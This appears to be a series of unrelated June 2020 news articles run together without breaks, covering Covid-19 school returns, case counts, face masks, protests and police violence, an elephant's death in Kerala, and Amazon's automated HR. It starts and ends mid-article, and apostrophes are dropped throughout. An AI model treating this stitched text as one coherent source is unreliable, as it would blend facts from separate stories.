Photo credit: Maskot - Getty Images

The 27-year-old notes that she is trying her best to balance enforcing social-distancing rules, but doing so in a way that doesnt scare her students.

Theyve got a lot of questions and worries about germs, hugging their grandparents and coming into contact with each other, she says. Its our job to try to explain the guidelines and the virus in a way that is not only comprehensive, but also so that it doesnt leave them with long-term fears when it comes to health and socialising.

One of the biggest lessons we teach children is to share, so it seems rather counter intuitive to now be instructing them to be insular in their actions, she adds.

Weve found the students sometimes feelings quite anxious and upset that they cant see their friends at play time and being away from their families. Were trying to be as supportive and hopeful as possible, but its hard helping them understand that this isnt a permanent situation.

Jemima notes that that in addition to teaching her students new vocabulary like teamwork, empathy and compassion, shes also getting to grips with being more vigilant when it comes to her students health.

We take everyones temperature three times throughout the day today, she explains, describing the experience as 'quite post-apocalyptic. Weve also allocated two rooms for children who might show Covid-19 symptoms where they can go and sit with another member of staff, who will be dressed in PPE, until their parents can come to collect them.

Ongoing health concerns

As lockdown measures relax and returning to the workplace becomes a near reality for the majority of employees, many of us are coming to terms with the idea of coming into contact with colleagues again and adapting to new working environments.

Dr Tara Reich, a reader in Organisational Behaviour and Human Resource Management at King's College, recently told us that staggered work hours and prolonged working from home might become the new norm. But will that be enough to quell employees' concerns? A recent survey carried out by YouGov found that 44 per cent of employees are feeling anxious about returning to their workplace because of Covid-19 and 31 per cent are concerned about their commute.

When it comes to the safety of reopening schools at least, the government has outlined that there is moderately high scientific confidence that younger children are less likely to become unwell if infected with the virus. A recent study by scientists from the University of Warwick's Zeeman Institute echoed this view, suggesting that the reopening of schools, both primary and secondary, is unlikely to result in a significant increase in the number of infections.

Photo credit: Justin Paget - Getty Images

However, several primary schools, in the likes of Derbyshire and Yorkshire, have been forced to close their doors this week, after staff members and pupils tested positive for coronavirus and urged parents to self-isolate. Teachers are among essential key workers continuing to put their own health at risk for the good of others.

At the beginning of lockdown, Jemima, who has previously suffered from myocarditis  an inflammatory disease of heart muscle  admits that she was incredibly nervous about becoming ill with Covid-19. However, she has found that returning to work has been overwhelmingly beneficial for her mental health.

Im more nervous to teach students I dont know in the same bubble than getting Covid-19 now, she says. Lockdown made me realise how proud I feel to be a teacher and of everything that weve been able to achieve as a school, whether its adapting to online learning or handing out food to vulnerable parents.

Daisy agrees, noting that working with the children of key workers during lockdown helped her feel less anxious about the prospect of returning to the classroom full-time.

Im not worried about contracting Covid-19 as Im confident that the measures in place at my school are as safe as they can be, she says. School is no less if a safe place than popping into the shops is.

While Alice has enjoyed returning to school, shes found it strange to enter the workplace when so many people she knows continue to work from home.

All the advice tells you to stay at home as much as possible and to not be in crowded rooms, she says. Teachers are back in classrooms which are very busy with children who find distancing themselves difficult at the best of times.

Emotionally, Im exhausted. As teachers, we have a similar sadness to the children. A school is a busy, lovely place full of people but the atmosphere has changed a lot. Lunchtimes are quite boring as you cant sit and chat with your colleagues in the staff room. Its taking its toll on everyone.

As for whether its too early to return to her place of work, Jemima argues that there will never be a right time.

Were lucky as we havent a single case of Covid-19 at my school, among staff or students, but Im confident that my employers have made it as safe an environment as possible. For anyone worried about going back to work, they must make the best decision for themselves.

* Names have been changed to protect the privacy of individuals.

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The British Embassy in Madrid has sought to reassure UK residents who have been trying to register as residents but have been unable to make appointments to apply for the green registered-resident card.

All Britons resident in Spain by 31 December this year will have their existing residency, healthcare and pension rights recongised as if the UK was still in the EU.

The Embassy said that provinces in Phases Two or Three of lockdown easing are starting to make appointments available and advised people to keep checking the online appointment link.

UK Ambassador Hugh Elliott said, "If you don't yet have your green residency certificate there is no need for alarm. We continue to advise people to get an appointment as soon as you can. However, as long as you are living in Spain and can prove that you satisfy the legal conditions of residence (i.e. sufficient income and access to healthcare), your rights are assured even if you are not able to get the physical document before the end of the year."

He added that for those already with the green certificate or card, this is valid after December and no details on any replacement TIE residency card have been given as yet by the Spanish authorities.
I didnt do anything, Mia Wright, 25, insisted at a news conference in the parking lot of Brickyard Mall, where she said the officers surrounded her car, broke the windows with clubs and pulled her to the ground on Sunday. A video of part of the incident was taken by family friend.
The Committee to Protect Journalists (CPJ) says Ali Motaghian, the chief of Iran's semiofficial ISNA news agency, has been convicted over the publishing of an article quoting a former Iranian diplomat who criticized Tehran's "arbitrary" intelligence operations in Europe.

It was not immediately clear what sentence was handed down in the case and whether Motaghian was in custody after his trial on charges of "publishing lies with the intention of disturbing the public," the CPJ said.

The Iranian judiciary's own news agency, Mizan, said Motaghian faced a sentence ranging from two months to two years in prison, as well as 74 lashes and a fine.

The trial followed a complaint by the intelligence branch of Iran's powerful Islamic Revolutionary Guards Corps (IRGC), after ISNA published an extensive interview in January 2019 with Ali Majedi, Iran's former ambassador to Germany.

Majedi appeared to criticize some of Iran's intelligence operations in Europe during the interview.

Majedi's comments followed Germany's arrest of Vienna-based diplomat Assadollah Assadi, who prosecutors said belonged to Iran's Intelligence Ministry.

German prosecutors have accused Assadi of being involved in a plot to bomb an annual rally of the Iranian exile group Mujahedin-e Khalq Organization (MKO or MEK) in neighboring France, and providing the explosives.

"We are facing an issue inside the country, such as arbitrary operations," ISNA quoted Majedi as saying. "Can we deny that there are no examples of this happening outside the country? Such operations damage the trust."

The reporter who wrote the story and Majedi were found not guilty by Tehran's Media Court last month, CPJ said.

The Iranian Students' News Agency opened in 1999 and is nominally independent, but -- like other semiofficial news agencies -- operates under a license from the government.

Journalists in Iran face harassment from the authorities and have even been imprisoned for their work. Foreign journalists, especially those with Western ties, have also been imprisoned.

With reporting by AP
A ninth person has died in Midland County as a result of the coronavirus pandemic, according to Friday's daily online report offered by the Michigan State Police. No new cases were recorded in Midland County for the sixth straight day, according to the MPS Friday report. Midland County remains at 82 confirmed cases.

Results from Midland's mass testing May 30-31 at Dow Diamond are not expected until next week, according to Fred Yanoski, Midland County Public Health director/health officer.

"Due to factors out of our control, the laboratory results from the Dow Diamond COVID-19 clinic on May 30-31 are not expected to be available until June 8th at the earliest," Yanoski said. "The Midland County Department of Public Health has been in contact with the testing lab daily and we will do everything in our power to get the results out quickly."

He said the health department did not anticipate a delay in results, but it received word on Friday that confirmed the delay.

"Earlier in the week, we were advised to expect results Wednesday or Thursday (June 3-4)," Yanoski said. "All of the testing sites around Michigan (who did the National Guard testing program) are experiencing the same delay."

Yanoski requested the mass testing clinics to get a handle on the health of the Midland County community in light of widespread flooding that brought groups of people together unexpectedly, which most likely relaxed mitigation practices.

"It is certainly not an optimal time frame," Yanoski said of getting back test results quickly for the most accurate health picture. "We will still gain valuable information from that point in time, but will experience a delay in contact tracing efforts if we find any positives. We encourage the community to continue to social distance, wear masks in public, and wash hands frequently to protect their health."

The health department is not recommending people who tested and are symptom-free to self-quarantine or isolate.

"Additionally, if any individual who was tested had symptoms worsen, they should contact their health care provider. For anyone with a health emergency, please call 911."

The Michigan National Guard, which conducted last weekend's drive-through site for coronavirus testing in Midland, has been working with local health departments across Michigan conducting the testing clinics.

Midland's event was one of five conducted in Michigan May 30-31. Yanoski said 2,435 people, which represents about 2% or 3% of Midland Countys population, were tested. He said Midland County had three times as many people show up than the other test sites that weekend.

This weekend, drive-through sites will be in Holland, Ferndale, Battle Creek, Sturgis, Allegan and Petoskey.

The MSP Friday report showed Bay County added five new cases and one death and Saginaw County 16 new cases and one death, bringing their totals to 331 cases and 25 deaths and 1,081 cases and 110 deaths, respectively.

Isabella County and Gladwin County added no new cases and remain at 78 cases and seven deaths and 18 cases and one death, respectively.

The state on Friday added 284 new cases and 20 deaths, bringing Michigan's overall total to 58,525 cases and 5,615 deaths.

In addition to the 82 confirmed positive cases, the Midland County health department reported as of late Thursday an additional 38 probable cases of COVID-19 in the Midland community and 94 recovered cases.

Probable cases includes individuals who have symptoms of COVID-19 but have not been tested, meet the COVID-19 case definition and have had close contact with a lab-confirmed positive COVID-19 case. These are often household members of positive cases. Recovered cases represent both confirmed and probable cases that have completed isolation and are symptom-free.

MidMichigan Health  which covers a 23-county region  was listed as having 22 COVID-19 patients on the state page, with one in ICU. The system's bed occupancy is at 51%.
Sydney Black Lives Matter Protest Banned

NSW Police have won an injunction in the states highest court effectively banning a large protest over COVID-19 fears.

About 5000 people were expected to rally at Sydney Town Hall at 3 p.m. on Saturday in honour of U.S. man George Floyd and Australian man David Dungay Junior.

But Supreme Court Justice Des Fagan on Friday ruled the Stop All Black Deaths in Custody rally, organised by Raul Bassi, was not an authorised public assembly.

Justice Fagan said he appreciated the issue and that it was designed to be concurrent with similar events in other countries.

I dont diminish the importance of the issues and no one would deny them in normal circumstances, he said.

No one denies them that but were talking about a situation of a health crisis.

Other countries hadnt respected COVID-19 and had suffered markedly worse than Australia, he said.

Australians had also given up their livelihoods, pursuits, endeavours and rights to worship to help halt the spread of COVID-19, the judge said.

Everyone has given up a lot in order to defeat the disease on the basis that this is best advice health officials have given us, he said.

Bassi said he and police agreed on Thursday the protest could go ahead.

NSW Chief Health Officer Kerry Chant told the court a protest of 10,000 could increase the risk of community-acquired infections and the seeding of clusters.

By Luke Costin
Rajasthans total count of Covid-19 cases is set to touch the 10,000-mark. On Friday morning, 68 new cases were reported, taking the total to 9,930.

According to the health departments Covid-19 bulletin for Friday morning, 68 new cases were recorded across the state though there were no deaths.

Bharatpur district, which has seen a sharp rise in cases in the last few days, reported 20 cases. Jhalawar, which too has recorded an increase in the past week, reported 23 cases. State capital Jaipur reported 16 cases.

Baran recorded four cases, Kota had two, Sawai Madhopur had one, while two cases involved residents of other states.

A spike in cases is possible as testing, which had been whittled down, resumed on Friday. Laboratory technicians had protested against a SMS Medical College order which didnt allow them to go into quarantine even after two staffers tested positive for Covid-19 in the past three days.

The matter was resolved after talks between officials and the technicians on Friday.

The total number of recovered patients in the state is 7,162, while the active cases are 2,555. The number of migrant workers who tested positive is 2,859. The total number of samples collected is 467,129.

The Rajasthan government has issued an order for appointing 2,000 doctors. The health department sent a request for filling up 2,000 vacancies and the Rajasthan University of Health Sciences has invited applications.

Applications can be submitted online during June 8-30. The examination is expected to be held online on July 22.

The recruitment of doctors will strengthen resources available to the government to tackle the Coronavirus and speed up sampling, screening and survey work. Those selected will be on probation for one year.
Face masks are required when making trips to places where social distancing is difficult to maintain.

The unprecedented global demand for face coverings has triggered mass amounts of research and development to provide the general public with effective options.

From Rafi Nova's clear mouth pieces designed for the hearing impaired to Livinguard's multi-barrier mask composed of three separate filtration layers, FEMAIL rounds up the latest exceptional designs on the market.

Approximately 600,000 people in the United States are deaf and about 6,000,000 are hearing impaired. Family run business Rafi Nova developed The Smile Mask

Approximately 600,000 people in the United States are deaf and about 6,000,000 are hearing impaired.

For that 2.2% of the population, a traditional face mask makes communication very challenging.

To fix this, Rafi Nova developed The Smile Mask.

Its clear mouth-piece gives a speaker the full-range of expression, allowing the hearing impaired to read lips and see facial expressions.

Made with flexible adjustable straps, these reusable masks accommodate hearing aids or cochlear implants.

The Smile Mask by Rafi Nova, 2 for $30; rafinova.com

Swiss company, Livinguard, has successfully developed technology for disinfecting textiles that have been shown, through scientific testing, to destroy Human coronavirus 229e.

Livinguard masks can be washed and used more than 200 times while maintaining its virus destroying capabilities.

This multi-barrier mask composed of three separate filtration layers, when used in combination, provides protection of over 99.99%.

They are being manufactured by ReadyOne, a manufacturer of battle dress for the U.S. Military out of El Paso Texas.

Swiss company, Livinguard, has successfully developed technology for disinfecting textiles that have been shown, through scientific testing, to destroy Human coronavirus 229e

This multi-barrier mask composed of three separate filtration layers, when used in combination, provides protection of over 99.99%

They are being manufactured by ReadyOne, a manufacturer of battle dress for the U.S. Military out of El Paso Texas

Left: Reusable White Face Mask by The Official Face Mask, 4 for $31; theofficialfacemask.com. Right: Reusable Black Face Mask by The Official Face Mask, $11; theofficialfacemask.com

The Official Face Mask makes protective coverings that are not only cute, but functional and meet AFNOR Spec S76-001 standards.

Manufactured in Portugal, the organic cotton fabric of their eco-friendly masks are treated to make it anti-bacteria for safety and anti-static for comfort.

Theres a 100% waterproof barrier that prevents water particles carrying the virus from getting through  while also making it easier for the wearer to breathe.

The protective masks can be washed up to 15 times.

Katie May's 'Parents and Me' protective coverings makes mask wearing fun for the tots. Coordinating styles are available for mom, dad, sister and brother.

The company is proudly donating a portion of their proceeds to No Kid Hungry.

Left: Kitty May Mini, $20; katiemay.com. Right: Kitty May by Katie May, $27; katiemay.com

Pretty Connected's Lara Eurdolian recently launched Mask Chains.

The 'Lara' chain is compatible with all masks, and encourages wearers to keep their protective covering on at all times.

Easy to apply, the chain clips to both ear straps, keeping the mask in place.

The unique accessory comes in two different lengths and is available in silver, gold and iridescent.

The 39 inch chain retails for $36 and the 18.5 inch chain retails for $30.

15% of net proceeds will be donated to Covid relief efforts.

The chain can be worn as a necklace or belt and used as a water bottle strap, camera strap, bag chain, flip flop holder or anything else you need by your side.

Awesome Organizers is helping to save your ears from chafing with the Ear Saver.

The simple yet effective accessory comes in 26 colors and retails for $4.50.

Mask Chain by Pretty Connected, $36; shop.prettyconnected.com

The 'Lara' chain is compatible with all masks, and encourages wearers to keep their protective covering on at all times

Ear Savers by Awesome Organizers, $4.50; etsy.com
The Maroon Bells and Crater Lake, as seen by a drone deployed by Mountain Rescue Aspen in the search for two overdue backpackers who set out on an early-season attempt of the Four Pass Loop. The drone, flying at about 500 feet above the ground, located the hikers on Wednesday evening.
GREENWICH  The Class of 2020 will graduate from Greenwich High School on Tuesday  with five separate drive-through daytime ceremonies and an evening of live-streamed speeches.

But an online petition is gaining support that calls on the town to hold a car parade to celebrate the towns graduating seniors.

Greenwich High School will have a drive-through graduation, which must follow social distancing guidelines due to the COVID-19 pandemic.

Tuesdays graduation exercises at GHS will take place at 9 a.m., noon and 3 p.m., with students from the schools different houses receiving their diplomas at certain times. A virtual ceremony, which will include speeches, will be held at 7 p.m.

Even though the school is holding the day of graduation events, the petition wants the community to gather at some point to host a car parade to celebrate the students and their accomplishments.

Our graduating seniors have worked so hard to reach this huge milestone. Lets show them that even in these very difficult times we care enough to celebrate them the best way we can. While we are having a drive-through graduation at GHS, we should come together as a community and celebrate them, the online petition says.

Many towns are celebrating their 2020 grads with car parades  this is a great way for us to cheer them on as a community while staying safe. Graduates get to decorate their cars, police and fire trucks lead the parade and we can as a community show them we celebrate their accomplishments. The Class of 2020 deserves some fun and recognition. A Greenwich car parade is our chance to cheer them on in a safe way  together, it says.

First Selectman Fred Camillo said he had been advised by the Greenwich Police Department that a car parade was not logistically possible with about 700 seniors. He then passed that information along to Superintendent of Schools Toni Jones.

But Camillo said he believes the graduates deserve public recognition  and he pointed to Gov. Ned Lamonts statement on Wednesday that said some outdoor graduation ceremonies  with up to 150 people  will be permitted after July 6.

I really would love to see them have a chance to be honored, Camillo said on Thursday. Its a nice memory and people have already been robbed of so many memories (because of the coronavirus) in the last three months. If theres any way possible to get this done and have something for them, then I think we really have to make every effort.

Jones noted the size of a parade would be difficult for the Greenwich Public Schools and the police department to safely handle.

A parade with 700-plus cars is far beyond the scope of what GPS would be able to safely manage, Jones said. The police department has logistical, traffic management and security concerns with a proposed car parade of that magnitude, and given that this parade would take place on public streets, we understand and respect the concerns raised by local officials.

Brunswick School held a car parade to celebrate its graduates last month on its King Street campus. Brunswick plans to hold a commencement ceremony next month. Greenwich Academy also held a parade on its traffic circle. It also plans to hold a graduation ceremony in July.

As of Friday morning, nearly 500 people had signed the petition, which can be found at www.ipetitions.com/petition/ghs-2020-parade.
There are moments of clarity in every life where you know you are seeing the end of something significant, even if you dont quite understand it.

The first time such a moment settled upon me was precisely 52 years ago. I was in boarding school in rural Victoria, about as far from the centre of everything as it seemed possible to be.

A victorious Robert Kennedy only moments before his assassination at the Ambassador Hotel in Los Angeles. Credit:AP

And there on the black-and-white TV in the school hall came the news from across the world that Bobby Kennedy had been shot dead; assassinated like his brother, US president John F. Kennedy, had been five years previously.

In US time, it was June 6, 1968.
The union representing workers at oil and gas producer Santos' Pilbara operations has blasted the company for double standards after its chief executive was given an exemption from WA's hard border and mandatory quarantine to fly in and visit sites on Monday.

Santos boss Kevin Gallagher visited Devil Creek and Varanus Island sites earlier this week and met with employees after WA Police granted him an exemption to enter the state and skip the 14-day quarantine period.

Santos CEO Kevin Gallagher (inset) visited Varanus Island on his trip.

Australian Workers' Union WA secretary Brad Gandy said Mr Gallagher's visit left workers unimpressed, particularly interstate FIFO workers who were subject to WA's strict isolation and quarantine requirements.

"It's a clear case of one rule for Kevin Gallagher and another for rank and file employees who haven't had the luxury of being exempt from the strict quarantine laws," Mr Gandy said.
A man has been arrested over the death of a pregnant elephant who was killed after eating food laced with firecrackers in India.

The elephant wandered into a village near Silent Valley National Park, Palakkad, last week.

There she unwittingly ate food - thought to be pineapple - intentionally stuffed with the explosives, a technique used by locals to keep wild animals away from their crops.

The device exploded in her mouth and she was left in excruciating pain for days before dying standing up in a river on May 27.

Today a rubber tapper in his 40s was arrested for handling explosives and assisting others, Chief Wildlife Warden Surendra Kumar said.

A man has been arrested over the death of a pregnant elephant (pictured) who was killed after eating food laced with firecrackers in India

Images of the elephant standing in the Velliyar River with her trunk and wounded mouth submerged under the surface prompted international outcry

It comes after three suspects were identified yesterday.

Palakkad district police chief G Siva Vikram told New Delhi Television: 'The arrested man is a rubber tapper. A search is on for others.'

Images of the elephant standing in the Velliyar River with her trunk and wounded mouth submerged under the surface prompted international outcry.

A postmortem on the elephant showed that she was around 15 years old but days of starvation likely left her looking significantly smaller.

A postmortem on the elephant (pictured in the river) showed that she was around 15 years old but days of starvation likely left her looking significantly smaller

The creature ate the fire cracker-laced food and it exploded in her mouth causing 'severe traumatic injury'.

She was unable to eat or drink for days and wandered - while incredibly weak - into a river, likely to stop flies and bugs from entering the cuts.

Her official cause of death was respiratory failure after inhaling water.

While local officials initially said the elephant ate pineapple, the post mortem was unable to confirm this.

Forest Officer of Mannarkkad, Aashique Ali U told the TV station: 'We right now don't know what the crackers were mixed with.

'Locally crackers in this area are mixed with fruits or animal fat. But we haven't been able to find anything conclusively.'

A ten-member Special Investigation Team will begin tracking the elephant's movements on Friday.
PLANS are in place to erect a monument in Kilmallock to honour the men and women who fought so bravely to achieve our freedom from what was perceived to be the biggest empire in the world.

The announcement was made at a special commemoration in the town to mark the 100th anniversary of the attack on the local RIC Barracks. It is proposed that the monument is erected adjacent to the new library facilities in the town.

At present, we are having some difficulty obtaining planning permission for the monument, said Eamonn ORiordan addressing those gathered for the commemoration on Lord Edward Street.

Mr ORiordan said a GoFundMe page has been set up if people would like to donate to the cost of the monument to honour the men and women who fought so bravely to achieve our freedom from what was perceived to be the biggest empire in the world.

Kilmallock Historical Society organised last Thursdays event to mark the centenary of the attack on Kilmallocks Royal Irish Constabulary Barracks. It was one of the longest battles recorded - over seven hours from midnight on May 27, 1920 until 7am on May 28.

And one hundred years to the day since she and her family were ordered to leave their home in Kilmallock ahead of the attack on the barracks next door, Betty McElholm aged 103 laid a wreath to mark the historic event.

Three men were killed during the attack - two RIC men, Sergeant Thomas Kane, 48, and Constable Joseph Morton, 47, a native of Kilmallock; and the third man was Irish Volunteer, Captain Liam Scully, 29, from Glencar, Co Kerry.

Wearing a replica uniform of the Irish Volunteers, Eamonn ORiordan said the three men who lost their lives paid the ultimate sacrifice during this bitter war and it is fitting that we remember them here today.
Two Buffalo police officers were suspended without pay Thursday night after a video showed them shoving a 75-year-old protester, who was hospitalized with a head injury, the authorities said.

Mayor Byron Brown said the man was in serious but stable condition. A video showed the man motionless on the ground and bleeding from his right ear.

Gov. Andrew Cuomo of New York condemned the actions of the officers in a statement late Thursday.

The incident in Buffalo is wholly unjustified and utterly disgraceful, Cuomo said. Ive spoken with City of Buffalo Mayor Byron Brown and we agree that the officers involved should be immediately suspended. Police officers must enforce  NOT ABUSE  the law.

It sickens me, the Erie County executive, Mark Poloncarz, wrote on Twitter about what the video posted by the radio station WBFO shows. It includes both vulgarity and disturbing images.

In the video, an officer who pushed the man appeared to start to check on him but was nudged to leave by another officer. Someone could be overheard saying, Get a medic, right now.

The Police Department initially told local media that one person was injured when he tripped and fell and that there were five arrests during the protest.

ALSO: In Idaho, armed white vigilantes mobilized for antifa protests that never occurred

The mayor, Brown, said in a statement that he was disturbed by the episode and that the citys police commissioner had ordered an immediate investigation.

After days of peaceful protests and several meetings between myself, police leadership and members of the community, tonights event is disheartening, he said.

This article originally appeared in The New York Times.
By Express News Service

HYDERABAD: It was a great relief for around 100 migrants labourers from Nagarkurnool in Telangana, who reached home on Thursday, after being stuck in Nepal for around 75 days, amidst the Covid crisis. Recently, around 200 migrant labourers had reached out to the TS government through a video message seeking to be rescued from Nepal.

Governor Dr Tamilisai Soundararajan took cognisance of the matter and started the rescue process. Eventually, a team of doctors from Uttar Pradesh reached Nepal and conducted Covid tests for the first batch of 100 people. Following which they were sent back to Telangana.

However, another 100 migrant labours got stuck in Uttar Pradesh after leaving Nepal. The remaining 100 migrant labourers reached Nagarkurnool and were reunited with their families on Thursday.

TS Guv to the rescue

TS Governor Dr Tamilisai Soundararajan helped around 200 migrants stuck in Nepal to return to Telangana.
As barricades around the White House grew longer and more forbidding Thursday, protestors hit the US President Donald Trump administration with a lawsuit over the forcible eviction of protestors from an adjoining park to clear way for the leader to walk to a historic church nearby for a photo-op.

The lawsuit, filed by civil rights groups on behalf of Black Lives Matter and individual protestors who were evicted, alleges violation of the protestors First Amendment rights of free speech and assembly and Fourth Amendment protection from unreasonable seizure.

It has been filed by name against President Donald Trump, Attorney General William Barr - who has accepted responsibility for the action - and Defense Secretary Mark Esper, who had cleared the deployment of US military personnel and assets in the area, and heads of law enforcement agencies involved in the incident.

What happened to our members Monday evening, here in the nations capital, was an affront to all our rights, said April Goggans of Black Lives Matter, the lead plaintiff in the case.

Law enforcement forces used tear gas, flash-bang grenades and pepper spray canisters that Monday to clear people demonstrating peacefully in Lafayette Park, across the street from the White House, so Trump could walk to the St Johns Episcopal Church that had been damaged in protests, for a photo-op, with a Bible in hand and his top officials by his side.

It was intended to counter the uncharitable response the president had received for being rushed by the Secret Service into an underground bunker as protestors had swelled outside a few days before.

The Lafayette Park action has since become a rallying point for critics of the presidents handling of the protests triggered by the death of George Floyd, an unarmed African American man, in police custody in Minneapolis.

The presidents shameless, unconstitutional, unprovoked, and frankly criminal attack on protesters because he disagreed with their views shakes the foundation of our nations constitutional order, said Scott Michelman, legal director at the DC unit of the American Civil Liberties Union (ACLU), which filed the lawsuit in a DC federal court.

Jim Mattis, the former defense secretary, called the president the first president in my lifetime who does not try to unite the American people.

Facing all-around criticism, including from some Republican lawmakers, Trump, Barr and Esper have since tried to deny responsibility for it. The president has said he did not order the protestors to be removed. Now, when I went, I didnt say Oh, move them out. I didnt know who was there.

Esper was the first to distance himself from the action and use of US military reservists of the National Guard.

Barr has accepted responsibility for ordering the action, but insisted it was not connected to the presidents walk to the church. I did not know that he was going to do that until later in the day after our plans were well underway to move the perimeter, Barr has said.

Protests around the country have been far more peaceful than in the earlier days. However, they show no signs of abating. Videos of aggressive police actions from those have gone viral, triggering shockwaves around the world. One of the many videos out of New York city shows officers use the door of their squad cars to slam protestors. In Florida, officers were filmed shooting a man on the ground with rubber bullets. A North Carolina lawyer has compiled over 280 videos of excessive police action on Twitter.

In New York city, physicians, nurses and other hospital workers who have been working with Covid-10 patients staged protests outside multiple hospitals. With our stethoscopes and white coats, we promised to do no harm and we must find the voice within us to break the silence like we are doing today, Kamini Doobay, MD, an emergency medicine resident at NYU Langone Health and Bellevue Hospital, said at one of these protests, according to a report in Medpage Today. Not doing is doing when you see injustice and turn away, and that is why, we are here to stand with black lives.
Amazon's automated human resource systems has been floundering under an influx of sick-leave and backpay requests due to COVID-19 according to Bloomberg.

An investigation by Bloomberg reports that the some of the company's workers, many of whom have been hit by COVID-19, have been nearly unable to interface with the company's heavily automated human resources division.

Instead of dealing with human employees, Bloomberg, who interviewed six employees who work in warehouses from Indiana to New Jersey, reports that workers have been mired for hours on the phone and dealing with chatbots designed to fulfill requests automatically.

Amazon's automation, designed to handle human resources requests, has failed to keep up with an inflix of demand spurred by COVID-19, Bloomberg reports. File photo

As a result, Amazon's automation has wrongfully initiated termination proceedings on some employees who are sick or recovering from COVID-19 for allegedly missing shifts.

It has also reportedly denied sick-leave to some workers who have documentation of being ill or needing to take care of those who are sick according to Bloomberg.

One employee told Bloomberg that the company's system accidentally put her on unpaid leave after she requested to be compensated for sick time due to being diagnosed with COVID-19.

The employee reportedly spent days trying to contact HR and hours on hold only to be patched through to a call center worker in India who could not rectify the mistake.

According to employees working with Amazon's human resources division, the dysfunction has been exacerbated by Amazon's goal of reducing its human workforce to focus more heavily on automation.

'[Human resources] is always struggling to automate and keep pace with the scale of the company,' one anonymous employee told Bloomberg.

'The horror stories happen because [HR] people are overwhelmed. And they dont have the resources and the mental capacity to deal with [workers] because theyre pulled in so many different directions. Its bound to have negative, real-life human impacts.'

A report last year from The Verge shows that Amazon uses a stringent set of metrics to not only track the performance of workers in its warehouses but to automatically terminate their employment if they fail to meet certain standards.

In one facility located in Baltimore, the investigation found that approximately 300 full-time workers in one facility were fired for inefficiency between 2017 and 2018 - a figure that represents 10 percent of the factory's overall workforce.
Images from the nationwide protests over police violence have tended to focus on the massive crowds in cities such as Washington, New York, and Los Angeles. But protests are also happening in medium-size and small cities across the country, and the scale of some crackdowns can verge on absurdity.

In Alabama, for example, police in riot gear fired tear gas and rubber bullets at protesters in Huntsville, an overwhelmingly white and wealthy city, because the officers didnt want to roll the dice on whether the protest would turn violent. But it was photos of a protest in Hoover, a suburb of Birmingham, that made the rounds Tuesday night as an extreme example of police engaging with peaceful protesters.

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Hoover, a city of fewer than 90,000 people that is nearly 90 percent white, was the site of the 2018 fatal shooting of E.J. Bradford. On Thanksgiving, police shot 21-year-old Bradford three times from behind as he ran awaythey had mistaken him for another black man whod reportedly drawn a weapon in an earlier conflict. Local and state law enforcement agencies initially refused to release footage of the shooting, and in February 2019, the attorney general concluded that the officers had committed no crime.

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Photos and videos of the protest in Hoover on Tuesday, taken by Al.com reporter Ian Hoppe, showed just 14 young people, sitting quietly on a grassy patch, as hordes of police officersHoppe counted more than 50in riot gear surrounded them. Later photos showed them being taken away, again peacefully. All were arrested, though ultimately not charged. Theres more media than there are protesters, Hoppe noted. (The Hoover Police Department has not released a statement on the arrests.)

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At a protest in Hoover now. Police in full military garb have shown up to deal with a handful of high school students with signs. pic.twitter.com/OMss1VzQqD  Ian Hoppe (@IanHoppe) June 2, 2020

The whole thing ended in striking silence. The 14 who remained were quietly arrested for violating curfew. pic.twitter.com/OchNN8HB0S  Michael Casagrande (@ByCasagrande) June 3, 2020

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Slate spoke to one of those arrested, Amber Carter, about the experience. Carter is a 21-year-old student of Jefferson State Community College and an out-of-work delivery driver who lives in Helena, another suburb of Birmingham. Our conversation has been edited and condensed for clarity.

Slate: What made you want to get involved with the protests?

Amber Carter: After Ahmaud Arbery, I felt really sick. It was all I saw on Facebook. Im just like, Wow, my people, we cant even go out and jog in quarantine without just something happening to us. And George FloydI was outraged. After that, Im like, No, this is enough. Something about that alongside all other previous killings of black people just kind of woke me up. Im fed up. Beyond fed up. As an African American woman, I just cannot stand on the sidelines.

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What was the week leading up to this arrest like for you?

My first protest was in Birmingham on Friday. I went there by myself. I was so nervous. But it was nice. It was peaceful. And Ive pretty much been going out to protests almost every day since. My thought process has been similar to eat, sleep, protest, except Ive barely been eating and my sleep hasnt been the greatest. Honestly, after I went to that first protest, a switch just flipped inside me. Its so inspiring to be out here. The overwhelming support from around the world just kind of keeps me going.

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How did you end up at the Hoover protest on Tuesday?

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I went to two different protests that day. I went to [one in the Birmingham suburb of] Homewood earlier, and that one was fine. Then everyone was like, Lets migrate to Hoover, so we did. If you happen to run a stoplight [in Hoover] and you get pulled over, next thing, there are six cop cars on the scene for no reason. Hoover has always had that problem. Theyre just excessive. So at these protests, all these police officers have these dudes in riot gear.

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What was the protest like when you arrived?

It was on the side of the highway, in this patch of grass, and the Hoover Library was right behind us. It was like a pretty medium-size crowd. It was just a normal protest, not anything violent. We were all holding up our signs and our fists and had our chants. People were passing out drinks and snacks. At 6:40, police tackled this guy and arrested him for taking a selfie with a cop.

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How did the protest end up with just 14 people?

We had our curfew, which was 7 p.m. As it started getting closer to 7, the cops brought out a megaphone to say, You have 15 minutes until we will arrest you. So people started making their way out. People were saying: If you plan on getting arrested for protesting after 7, just make sure you leave your name and number and birthday with us and we promise we will bail you out. Youre going to be represented for free. We will not leave you there.

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Why did you decide to stay?

I didnt know what I was in for. But I wanted to show the world that these young, fearless protestersyou cant stop us. That alone gave me enough courage to just go through with that.

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What did it feel like to see all those officers?

It was ridiculous. There were so many of them. There are dudes in riot gear, and they just kept on coming onto the scene. Im like, Guys, there are literally just 14 protesters. I know it was all scare tactics, but thats what makes them look even more ridiculous. We were all sitting down. We werent even disrupting the peace. Its not like we were yelling or causing a mess or anything. It was unbelievably unnecessary.

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What happened after curfew?

It gets to 6:59, and then the cop who brings out the megaphone once again says, This is your last chance to exit the property. That was when we all held up our signs and our fists and we just stayed seated. We were just patiently waiting. It was pretty quiet. Whenever a car passed by and honked, we would cheer, but you could feel the anxiety in the air. We didnt know what was going to happen. There were dudes in riot gear for us, 14 protesters. And they were like, OK, and sent their officers toward us.

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What was the arrest itself like?

A police officer came up to me, and I still had my fists in the air. I was deep breathing: Im going to be OK. I was very nervous. We were prepared, but it was my first time ever being arrested. [Protest organizers had] all said to just stay sitting down, do not resist arrest, because otherwise theyre going to charge you. Then they got our information and put handcuffs and masks on us. I didnt have oneI gave my sister the mask I had on because I didnt know if they would have taken it or not. But they put masks on us, touching them by the straps, over our ears, because our hands were already behind our backs at that point. It was one of the dudes in riot gear who put a mask on me.

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What was going through your mind?

